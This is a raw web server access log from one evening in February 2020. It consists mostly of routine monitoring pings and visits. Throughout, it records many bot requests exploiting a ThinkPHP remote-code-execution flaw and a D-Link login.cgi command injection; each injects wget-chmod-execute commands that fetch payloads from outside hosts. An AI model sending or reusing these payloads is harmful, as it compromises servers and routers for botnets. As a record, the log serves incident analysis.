183.80.89.63 - - [11/Feb/2020:18:05:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [11/Feb/2020:18:11:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.160.150.92 - - [11/Feb/2020:18:11:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.211.112.148 - - [11/Feb/2020:18:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:18:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.19.10 - - [11/Feb/2020:18:25:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.82.245 - - [11/Feb/2020:18:25:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.253.224.75 - - [11/Feb/2020:18:32:08 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.75 - - [11/Feb/2020:18:32:08 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.75 - - [11/Feb/2020:18:32:08 +0100] "GET /scripte/all_scripts.js HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [11/Feb/2020:18:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [11/Feb/2020:18:40:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.84.13 - - [11/Feb/2020:18:40:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.54.139 - - [11/Feb/2020:18:41:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.80.80.72 - - [11/Feb/2020:18:43:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.113.10.10 - - [11/Feb/2020:18:44:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.156.255.4 - - [11/Feb/2020:18:44:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.250 - - [11/Feb/2020:18:46:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.68 - - [11/Feb/2020:18:49:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.110.20.132 - - [11/Feb/2020:18:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:18:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.207.172.147 - - [11/Feb/2020:18:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:18:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.230.29 - - [11/Feb/2020:18:52:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [11/Feb/2020:18:52:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.33 - - [11/Feb/2020:18:52:26 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.33 - - [11/Feb/2020:18:52:39 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
212.91.246.72 - - [11/Feb/2020:18:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [11/Feb/2020:18:53:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.97.20.33 - - [11/Feb/2020:18:53:21 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.33 - - [11/Feb/2020:18:53:34 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [11/Feb/2020:18:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.183.61 - - [11/Feb/2020:18:55:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:18:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.19.254.43 - - [11/Feb/2020:18:58:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:18:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:18:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [11/Feb/2020:19:04:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
183.80.89.62 - - [11/Feb/2020:19:05:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.119.141 - - [11/Feb/2020:19:05:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.142.249.93 - - [11/Feb/2020:19:07:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [11/Feb/2020:19:10:55 +0100] "GET / HTTP/1.1" 200 1229 "https://vbikse.com/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0"
46.119.171.190 - - [11/Feb/2020:19:10:56 +0100] "GET / HTTP/1.1" 200 1229 "https://vbikse.com/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0"
46.119.171.190 - - [11/Feb/2020:19:10:56 +0100] "GET / HTTP/1.1" 200 1229 "https://vbikse.com/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0"
212.91.246.72 - - [11/Feb/2020:19:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.136.160.111 - - [11/Feb/2020:19:17:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [11/Feb/2020:19:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.71.230.31 - - [11/Feb/2020:19:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [11/Feb/2020:19:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.29.18 - - [11/Feb/2020:19:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [11/Feb/2020:19:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [11/Feb/2020:19:22:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.71.148.73 - - [11/Feb/2020:19:24:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:19:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.71.148.73 - - [11/Feb/2020:19:24:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
211.106.191.212 - - [11/Feb/2020:19:25:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.71.148.73 - - [11/Feb/2020:19:28:39 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:19:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.226.25.182 - - [11/Feb/2020:19:29:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [11/Feb/2020:19:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.33.245 - - [11/Feb/2020:19:31:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [11/Feb/2020:19:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.71.148.73 - - [11/Feb/2020:19:31:47 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.71.148.73 - - [11/Feb/2020:19:31:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [11/Feb/2020:19:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [11/Feb/2020:19:34:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [11/Feb/2020:19:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [11/Feb/2020:19:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
